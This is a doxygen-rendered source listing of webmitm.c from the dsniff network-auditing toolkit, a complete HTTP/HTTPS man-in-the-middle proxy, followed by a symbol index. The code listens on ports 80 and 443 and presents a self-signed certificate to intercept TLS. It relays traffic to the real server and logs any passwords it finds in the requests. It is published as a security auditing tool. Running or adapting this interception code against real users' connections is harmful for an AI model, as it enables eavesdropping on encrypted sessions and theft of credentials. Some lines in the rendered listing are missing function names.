dsniff  2.4b2
About: A collection of tools for network auditing
  Fossies Dox: dsniff-2.4b2.tar.gz  ("inofficial" and yet experimental doxygen-generated source code documentation)  

webmitm.c
Go to the documentation of this file.
1 /*
2  * webmitm.c
3  *
4  * HTTP / HTTPS monkey-in-the-middle.
5  *
6  * Copyright (c) 2000 Dug Song <dugsong@monkey.org>
7  *
8  * $Id: webmitm.c,v 1.11 2001/03/17 08:35:05 dugsong Exp $
9  */
10 
11 #include "config.h"
12 
13 #include <sys/param.h>
14 #include <sys/types.h>
15 #include <sys/socket.h>
16 #include <sys/wait.h>
17 #include <netinet/in.h>
18 #include <openssl/ssl.h>
19 #include <openssl/err.h>
20 
21 #include <err.h>
22 #include <errno.h>
23 #include <libnet.h>
24 #include <signal.h>
25 #include <stdio.h>
26 #include <stdlib.h>
27 #include <string.h>
28 #include <unistd.h>
29 
30 #include "buf.h"
31 #include "record.h"
32 #include "version.h"
33 
34 #define CERT_FILE "webmitm.crt"
35 
36 int Opt_quiet = 0;
37 int Opt_debug = 0;
38 int Opt_read = 0;
39 int Opt_write = 0;
40 int Opt_dns = 1;
41 
46 struct sockaddr_in csin, ssin;
47 int do_ssl, sig_pipe[2];
49 libnet_t *l;
50 
51 extern int decode_http(char *, int, char *, int);
52 
53 static void
54 usage(void)
55 {
56  fprintf(stderr, "Version: " VERSION "\n"
57  "Usage: webmitm [-d] [host]\n");
58  exit(1);
59 }
60 
61 static void
62 sig_chld(int signal)
63 {
64  if (write(sig_pipe[1], "x", 1) < 0)
65  warn("sig_chld");
66 
67 }
68 
69 static void
70 sig_int(int signal)
71 {
72  close(http_fd);
73  close(https_fd);
74  record_close();
75  exit(0);
76 }
77 
78 static void
80 {
81  pid_t pid, status;
82 
83  while ((pid = waitpid(-1, &status, WNOHANG)) > 0) {
84  if (Opt_debug)
85  warnx("child %d terminated with status %d",
86  pid, status);
87  }
88 }
89 
90 static void
91 err_ssl(int eval, char *msg)
92 {
93  char buf[128];
94 
95  ERR_error_string(ERR_get_error(), buf);
96  err(eval, "%s", buf);
97 }
98 
99 static void
100 grep_passwords(char *buf, int len)
101 {
102  char obuf[1024];
103 
104  if ((len = decode_http(buf, len, obuf, sizeof(obuf))) > 0) {
105  record(csin.sin_addr.s_addr, ssin.sin_addr.s_addr,
106  IPPROTO_TCP, ntohs(csin.sin_port), ntohs(ssin.sin_port),
107  "http", obuf, len);
108  }
109 }
110 
111 static void
113 {
114  struct stat sb;
115 
116  /* XXX - i am cheap and dirty */
117 
118  if (stat(CERT_FILE, &sb) < 0) {
119  if (system("openssl genrsa -out " CERT_FILE " 1024") != 0)
120  err(1, "system");
121  if (system("openssl req -new -key " CERT_FILE " -out "
122  CERT_FILE ".csr") != 0)
123  err(1, "system");
124  if (system("openssl x509 -req -days 365 -in " CERT_FILE ".csr"
125  " -signkey " CERT_FILE " -out " CERT_FILE ".new"))
126  err(1, "system");
127  if (system("cat " CERT_FILE ".new >> " CERT_FILE) != 0)
128  err(1, "system");
129 
130  unlink(CERT_FILE ".new");
131  unlink(CERT_FILE ".csr");
132 
133  warnx("certificate generated");
134  }
135 }
136 
137 static void
139 {
140  if (fcntl(client_fd, F_SETFL, 0) < 0)
141  err(1, "fcntl");
142 
143  if (do_ssl) {
144  ssl_client = SSL_new(ssl_client_ctx);
145  SSL_set_fd(ssl_client, client_fd);
146 
147  if (SSL_accept(ssl_client) == 0)
148  err_ssl(1, "SSL_accept");
149  }
150 }
151 
152 static int
153 client_read(char *buf, int size)
154 {
155  if (do_ssl) {
156  return (SSL_read(ssl_client, buf, size));
157  }
158  return (read(client_fd, buf, size));
159 }
160 
161 static int
162 client_request(char *buf, int size)
163 {
164  struct buf *b, req;
165  char *p;
166  int i, reqlen;
167 
168  memset(&req, 0, sizeof(req));
169  req.base = buf;
170  req.size = size;
171  reqlen = 0;
172 
173  /* XXX - i feel cheap and dirty */
174  while ((i = client_read(req.base + req.end, req.size - req.end)) > 0) {
175  req.end += i;
176 
177  if (reqlen && buf_len(&req) >= reqlen) {
178  break;
179  }
180  else if ((i = buf_index(&req, "\r\n\r\n", 4)) > 0) {
181  reqlen = i + 4;
182  b = buf_tok(&req, NULL, reqlen);
183  buf_rewind(&req);
184 
185  if ((i = buf_index(b, "\r\nContent-length: ", 18)) < 0)
186  break;
187 
188  buf_skip(b, i + 18);
189  b = buf_getword(b, "\r\n", 2);
190  p = buf_strdup(b); buf_free(b);
191  reqlen += atoi(p); free(p);
192  }
193  }
194  reqlen = buf_len(&req);
195 
196  return (reqlen);
197 }
198 
199 static int
200 client_write(char *buf, int size)
201 {
202  if (do_ssl) {
203  return (SSL_write(ssl_client, buf, size));
204  }
205  return (write(client_fd, buf, size));
206 }
207 
208 static void
210 {
211  if (do_ssl) {
212  SSL_free(ssl_client);
213  }
214  close(client_fd);
215 }
216 
217 static void
218 server_init(char *buf, int size)
219 {
220  struct buf *word, msg;
221  char *vhost;
222  int i;
223 
224  memset(&ssin, 0, sizeof(ssin));
225  ssin.sin_family = AF_INET;
226  ssin.sin_port = do_ssl ? htons(443) : htons(80);
227 
228  if (static_host == 0) {
229  buf_init(&msg, buf, size);
230 
231  if ((i = buf_index(&msg, "\r\nHost: ", 8)) > 0) {
232  buf_skip(&msg, i + 8);
233  word = buf_tok(&msg, "\r\n", 2);
234  vhost = buf_strdup(word);
235  }
236  else {
237  i = buf_index(&msg, " http://", 8);
238 
239  if (i < 0 || i > 8) {
240  errx(1, "no virtual host in request");
241  }
242  buf_skip(&msg, i + 8);
243  word = buf_tok(&msg, "/", 1);
244  vhost = buf_strdup(word);
245  }
246  ssin.sin_addr.s_addr = libnet_name2addr4(l,vhost, 1);
247  free(vhost);
248 
249  if (ssin.sin_addr.s_addr == ntohl(INADDR_LOOPBACK) ||
250  ssin.sin_addr.s_addr == -1) {
251  errx(1, "couldn't resolve host in request");
252  }
253  }
254  else ssin.sin_addr.s_addr = static_host;
255 
256  if ((server_fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
257  err(1, "socket");
258 
259  if (connect(server_fd, (struct sockaddr *)&ssin, sizeof(ssin)) < 0)
260  err(1, "connect");
261 
262  if (do_ssl) {
263  ssl_server_ctx = SSL_CTX_new(SSLv23_client_method());
264  ssl_server = SSL_new(ssl_server_ctx);
265  SSL_set_connect_state(ssl_server);
266 
267  SSL_set_fd(ssl_server, server_fd);
268 
269  if (SSL_connect(ssl_server) < 0)
270  err_ssl(1, "SSL_connect");
271  }
272 }
273 
274 static int
275 server_read(char *buf, int size)
276 {
277  if (do_ssl) {
278  return (SSL_read(ssl_server, buf, size));
279  }
280  return (read(server_fd, buf, size));
281 }
282 
283 static int
284 server_write(char *buf, int size)
285 {
286  if (do_ssl) {
287  return (SSL_write(ssl_server, buf, size));
288  }
289  return (write(server_fd, buf, size));
290 }
291 
292 static void
294 {
295  if (do_ssl) {
296  SSL_free(ssl_server);
297  }
298  close(server_fd);
299 }
300 
301 static void
303 {
304  struct sockaddr_in sin;
305  int i = 1;
306 
307  if (pipe(sig_pipe) < 0)
308  err(1, "pipe");
309 
310  if ((http_fd = socket(AF_INET, SOCK_STREAM, 0)) < 0 ||
311  (https_fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
312  err(1, "socket");
313 
314  if (setsockopt(http_fd, SOL_SOCKET, SO_REUSEADDR, &i, sizeof(i)) < 0 ||
315  setsockopt(https_fd, SOL_SOCKET, SO_REUSEADDR, &i, sizeof(i)) < 0)
316  err(1, "setsockopt");
317 
318  memset(&sin, 0, sizeof(sin));
319  sin.sin_family = AF_INET;
320  sin.sin_addr.s_addr = INADDR_ANY;
321 
322  sin.sin_port = htons(80);
323  if (bind(http_fd, (struct sockaddr *)&sin, sizeof(sin)) < 0)
324  err(1, "bind");
325 
326  sin.sin_port = htons(443);
327  if (bind(https_fd, (struct sockaddr *)&sin, sizeof(sin)) < 0)
328  err(1, "bind");
329 
330  if (listen(http_fd, 3) < 0 || listen(https_fd, 3) < 0)
331  err(1, "listen");
332 
333  SSL_library_init();
334  SSL_load_error_strings();
335 
336  ssl_client_ctx = SSL_CTX_new(SSLv23_server_method());
337 
338  if (SSL_CTX_use_certificate_file(ssl_client_ctx, CERT_FILE,
339  SSL_FILETYPE_PEM) == 0)
340  err_ssl(1, "SSL_CTX_use_certificate_file");
341 
342  if (SSL_CTX_use_PrivateKey_file(ssl_client_ctx, CERT_FILE,
343  SSL_FILETYPE_PEM) == 0)
344  err_ssl(1, "SSL_CTX_use_PrivateKey_file");
345 
346  if (SSL_CTX_check_private_key(ssl_client_ctx) == 0)
347  err_ssl(1, "SSL_CTX_check_private_key");
348 }
349 
350 static void
352 {
353  u_char buf[8192];
354  fd_set fds;
355  int i;
356 
357  if (Opt_debug)
358  warnx("new connection from %s.%d",
359  inet_ntoa(csin.sin_addr), ntohs(csin.sin_port));
360 
361  client_init();
362 
363  if ((i = client_request(buf, sizeof(buf))) < 0)
364  err(1, "client_request");
365 
366  if (Opt_debug)
367  warnx("%d bytes from %s", i, inet_ntoa(csin.sin_addr));
368 
369  if (Opt_debug > 1)
370  write(STDERR_FILENO, buf, i);
371 
372  server_init(buf, i);
373 
374  if (server_write(buf, i) != i)
375  err(1, "server_write");
376 
377  if (!Opt_quiet)
378  grep_passwords(buf, i);
379 
380  for (;;) {
381  FD_ZERO(&fds);
382  FD_SET(client_fd, &fds);
383  FD_SET(server_fd, &fds);
384 
385  i = MAX(client_fd, server_fd) + 1;
386  if (select(i, &fds, 0, 0, 0) < 0) {
387  if (errno != EINTR)
388  break;
389  }
390  if (FD_ISSET(client_fd, &fds)) {
391  i = sizeof(buf);
392  if ((i = client_request(buf, i)) <= 0)
393  break;
394 
395  if (Opt_debug)
396  warnx("%d bytes from %s",
397  i, inet_ntoa(csin.sin_addr));
398 
399  if (Opt_debug > 1)
400  write(STDERR_FILENO, buf, i);
401 
402  if (server_write(buf, i) != i)
403  break;
404 
405  if (!Opt_quiet)
406  grep_passwords(buf, i);
407  }
408  else if (FD_ISSET(server_fd, &fds)) {
409  i = sizeof(buf);
410  if ((i = server_read(buf, i)) <= 0)
411  break;
412 
413  if (Opt_debug)
414  warnx("%d bytes from %s",
415  i, inet_ntoa(ssin.sin_addr));
416 
417  if (Opt_debug > 2)
418  write(STDERR_FILENO, buf, i);
419 
420  if (client_write(buf, i) != i)
421  break;
422  }
423  else err(1, "select");
424  }
425  server_close();
426  client_close();
427 }
428 
429 static void
430 mitm_run(void)
431 {
432  fd_set fds;
433  int i;
434 
435  signal(SIGCHLD, sig_chld);
436  signal(SIGINT, sig_int);
437 
438  if (fcntl(sig_pipe[0], F_SETFL, O_NONBLOCK) < 0 ||
439  fcntl(sig_pipe[1], F_SETFL, O_NONBLOCK) < 0)
440  err(1, "fcntl");
441 
442  if (fcntl(http_fd, F_SETFL, O_NONBLOCK) < 0 ||
443  fcntl(https_fd, F_SETFL, O_NONBLOCK) < 0)
444  err(1, "fcntl");
445 
446  for (;;) {
447  FD_ZERO(&fds);
448 
449  FD_SET(http_fd, &fds);
450  FD_SET(https_fd, &fds);
451  FD_SET(sig_pipe[0], &fds);
452 
453  i = MAX(http_fd, https_fd);
454  i = MAX(sig_pipe[0], i);
455 
456  if (select(i + 1, &fds, 0, 0, 0) < 0) {
457  if (errno != EINTR)
458  err(1, "select");
459  }
460  i = sizeof(csin);
461 
462  if (FD_ISSET(sig_pipe[0], &fds)) {
463  while (read(sig_pipe[0], &i, 1) == 1)
464  ; /* empty non-blocking pipe */
465 
466  reap_child();
467  continue;
468  }
469  if (FD_ISSET(http_fd, &fds)) {
470  client_fd = accept(http_fd, (struct sockaddr *)&csin, &i);
471  do_ssl = 0;
472  }
473  else if (FD_ISSET(https_fd, &fds)) {
474  client_fd = accept(https_fd, (struct sockaddr *)&csin, &i);
475  do_ssl = 1;
476  }
477  else errx(1, "select failure");
478 
479  if (client_fd < 0) {
480  if (errno != EINTR && errno != EWOULDBLOCK)
481  err(1, "accept");
482  }
483  if (fork() == 0) {
484  close(http_fd);
485 
486  mitm_child();
487 
488  exit(0);
489  }
490  close(client_fd);
491  }
492 }
493 
494 int
495 main(int argc, char *argv[])
496 {
497  extern char *optarg;
498  extern int optind;
499  int c;
500  char errbuf[LIBNET_ERRBUF_SIZE];
501 
502  l = libnet_init(
503  LIBNET_RAW4, /* or LIBNET_LINK or LIBNET_RAW6 */
504  NULL, /* or device if you using LIBNET_LINK */
505  errbuf);
506 
507  while ((c = getopt(argc, argv, "dh?V")) != -1) {
508  switch (c) {
509  case 'd':
510  Opt_debug++;
511  break;
512  default:
513  usage();
514  }
515  }
516  argc -= optind;
517  argv += optind;
518 
519  if (argc == 1) {
520  if ((static_host = libnet_name2addr4(l,argv[0], 1)) == -1)
521  usage();
522  }
523  else if (argc != 0) usage();
524 
525  record_init(NULL);
526 
527  cert_init();
528 
529  mitm_init();
530 
531  if (static_host == 0) {
532  warnx("relaying transparently");
533  }
534  else warnx("relaying to %s", argv[0]);
535 
536  mitm_run();
537 
538  exit(0);
539 }
Opt_write
int Opt_write
Definition: webmitm.c:39
err_ssl
static void err_ssl(int eval, char *msg)
Definition: webmitm.c:91
ssin
struct sockaddr_in csin ssin
Definition: webmitm.c:46
warnx
void warnx(const char *fmt,...)
Definition: err.c:89
do_ssl
int do_ssl
Definition: webmitm.c:47
mitm_run
static void mitm_run(void)
Definition: webmitm.c:430
buf::size
int size
Definition: buf.h:16
buf_rewind
#define buf_rewind(b)
Definition: buf.h:48
buf_init
void buf_init(buf_t buf, u_char *data, int len)
Definition: buf.c:24
l
libnet_t * l
Definition: webmitm.c:49
grep_passwords
static void grep_passwords(char *buf, int len)
Definition: webmitm.c:100
mitm_child
static void mitm_child(void)
Definition: webmitm.c:351
Opt_quiet
int Opt_quiet
Definition: webmitm.c:36
MAX
#define MAX(a, b)
Definition: acconfig.h:20
buf::base
u_char * base
Definition: buf.h:15
buf
static u_char buf[BUFSIZ]
Definition: filenamesnarf.c:29
version.h
usage
static void usage(void)
Definition: webmitm.c:54
client_read
static int client_read(char *buf, int size)
Definition: webmitm.c:153
client_request
static int client_request(char *buf, int size)
Definition: webmitm.c:162
record.h
errbuf
char errbuf[LIBNET_ERRBUF_SIZE]
Definition: arpspoof.c:35
sig_int
static void sig_int(int signal)
Definition: webmitm.c:70
server_read
static int server_read(char *buf, int size)
Definition: webmitm.c:275
record_close
void record_close(void)
Definition: record.c:207
decode_http
int decode_http(char *, int, char *, int)
Opt_dns
int Opt_dns
Definition: webmitm.c:40
buf.h
sig_chld
static void sig_chld(int signal)
Definition: webmitm.c:62
static_host
u_int32_t static_host
Definition: webmitm.c:48
buf_strdup
char * buf_strdup(buf_t buf)
Definition: buf.c:235
buf_getword
buf_t buf_getword(buf_t buf, void *sep, int len)
Definition: buf.c:218
client_init
static void client_init(void)
Definition: webmitm.c:138
err.h
VERSION
#define VERSION
Definition: version.h:1
buf
Definition: buf.h:14
err
void err(int eval, const char *fmt,...)
Definition: err.c:47
Opt_debug
int Opt_debug
Definition: webmitm.c:37
buf_tok
buf_t buf_tok(buf_t buf, void *sep, int len)
Definition: buf.c:167
client_fd
int client_fd
Definition: webmitm.c:43
http_fd
int http_fd
Definition: webmitm.c:42
server_init
static void server_init(char *buf, int size)
Definition: webmitm.c:218
errx
void errx(int eval, const char *fmt,...)
Definition: err.c:76
cert_init
static void cert_init(void)
Definition: webmitm.c:112
warn
void warn(const char *fmt,...)
Definition: err.c:62
https_fd
int https_fd
Definition: webmitm.c:42
client_close
static void client_close(void)
Definition: webmitm.c:209
ssl_server
SSL * ssl_server
Definition: webmitm.c:45
reap_child
static void reap_child(void)
Definition: webmitm.c:79
record
int record(u_int32_t src, u_int32_t dst, int proto, u_short sport, u_short dport, char *name, u_char *buf, int len)
Definition: record.c:177
server_write
static int server_write(char *buf, int size)
Definition: webmitm.c:284
in_addr_t
#define in_addr_t
Definition: config.h:32
server_close
static void server_close(void)
Definition: webmitm.c:293
server_fd
int server_fd
Definition: webmitm.c:43
buf_skip
#define buf_skip(b, l)
Definition: buf.h:47
buf::end
int end
Definition: buf.h:18
config.h
obuf
static char obuf[4096]
Definition: trigger.c:43
ssl_client
SSL * ssl_client
Definition: webmitm.c:45
sig_pipe
int sig_pipe[2]
Definition: webmitm.c:47
buf_len
#define buf_len(b)
Definition: buf.h:34
mitm_init
static void mitm_init(void)
Definition: webmitm.c:302
client_write
static int client_write(char *buf, int size)
Definition: webmitm.c:200
Opt_read
int Opt_read
Definition: webmitm.c:38
record_init
int record_init(char *file)
Definition: record.c:158
main
int main(int argc, char *argv[])
Definition: webmitm.c:495
ssl_server_ctx
SSL_CTX * ssl_server_ctx
Definition: webmitm.c:44
CERT_FILE
#define CERT_FILE
Definition: webmitm.c:34
buf_index
int buf_index(buf_t buf, void *ptr, int len)
Definition: buf.c:128
buf_free
void buf_free(buf_t buf)
Definition: buf.c:51
ssl_client_ctx
SSL_CTX * ssl_client_ctx
Definition: webmitm.c:44